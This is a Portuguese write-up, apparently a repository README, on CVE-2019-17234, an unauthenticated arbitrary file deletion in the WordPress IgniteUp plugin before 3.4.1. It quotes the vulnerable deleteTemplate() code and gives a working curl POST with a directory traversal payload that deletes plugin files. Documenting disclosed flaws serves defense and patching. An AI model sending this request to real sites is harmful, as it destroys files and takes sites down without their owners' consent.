administra1tor/cve-2019-17234b-exploitO plugin IgniteUp do WordPress < 3.4.1 permite que usuários não autenticados excluam arquivos arbitrariamente no servidor web, possivelmente causando DoS.
O plugin IgniteUp do Wordpress versão 3.4 e anteriores permite que usuários remotos não autenticados potencialmente excluam arbitrariamente qualquer arquivo no servidor web alvo, possivelmente causando um ataque de Negação de Serviço.
A vulnerabilidade foi reportada à equipe do wordpress.org em 20 de setembro de 2019 e a nova versão do plugin 3.4.1 foi lançada em 08 de novembro de 2019.[3]
IgniteUp é um plugin popular do Wordpress para realizar configuração e gerenciamento simples de páginas de destino do site para informar os usuários que o site está em breve, em manutenção ou em construção.
O plugin vem pronto para uso com 5 templates gratuitos padrão: believe,cleaner,glass,launcher,offline.
Os nomes dos templates são destacados porque um parâmetro correto [template-name] é necessário para realizar uma requisição válida ao servidor web para explorar a vulnerabilidade.
[AVISO]
O exemplo de comando a seguir pode ser suficiente para quebrar seu site Wordpress, neste caso excluindo os arquivos principais do plugin IgniteUp.
curl -d "action=admin_init&delete_template=[template-name]/../../" -X POST http(s)://[target-website]/wp-admin/admin-post.php
dummy example:
curl -d "action=admin_init&delete_template=believe/../../" -X POST http://localhost/wp-admin/admin-post.php
[NOTA] O comando acima realiza um directory traversal dentro do caminho relativo do plugin. Com permissões adequadas (755 para diretórios do servidor web e 644 para arquivos do servidor web) e chowner (usuário www-data, apache etc...) a superfície de ataque é limitada até o diretório raiz do servidor (ex.: /var/www/html).
A função culpada que introduz esta vulnerabilidade é destacada abaixo. O arquivo de referência pode ser encontrado em wp-content/plugins/igniteup/includes/class-coming-soon-creator.php, arquivo que, como o nome sugere, lida com a criação de novos templates personalizados e exclusão dos padrões/criados.
V3.4
add_action('admin_init', array($this, 'deleteTemplate'));
...
...
public function deleteTemplate()
{
if (!isset($_POST['delete_template']) || empty($_POST['delete_template']))
return;
$folder_name = $_POST['delete_template'];
$path = dirname(CSCS_FILE) . '/includes/templates/';
array_map('unlink', glob($path . $folder_name . '/*.*'));
rmdir($path . $folder_name);
unlink($path . '/' . $folder_name . '.php');
header('Location: ' . $_SERVER['REQUEST_URI']);
}
admin_init na primeira linha é um hook de ação do Wordpress. Hooks[2] formam a base de como plugins e temas interagem com o WordPress Core, mas também são amplamente usados pelo próprio Core.
Infelizmente, a função associada ao hook de ação, deleteTemplate(), não possui verificações de administrador/usuário. Ela dá ao leitor dicas suficientes sobre como realizar tal ação. Olhando o código, é trivial identificar o parâmetro POST PHP delete_template. Somado à ação do hook admin_init, é conhecimento suficiente para tentar realizar uma requisição POST ao servidor web através da interface /wp-admin/admin-post.php conforme indicado no parágrafo do código de exploração.
[NOTA PESSOAL] Analisando o comportamento usual do plugin a partir de uma perspectiva de usuário administrador do Wordpress, é bastante estranho encontrar esta função (suponho que seja um resquício de versões anteriores), isso porque:
Aqui uma amostra do que acontece durante o unlink quando tento DirStroy um template.
teste admin-ajax.php comparação v3.4.1
[1] v3.4.1 changelog- https://it.wordpress.org/plugins/igniteup/#developers
[2] Wordpress hooks- https://developer.wordpress.org/plugins/hooks/
[3] CVE-2019-17234 referência NIST- https://nvd.nist.gov/vuln/detail/CVE-2019-17234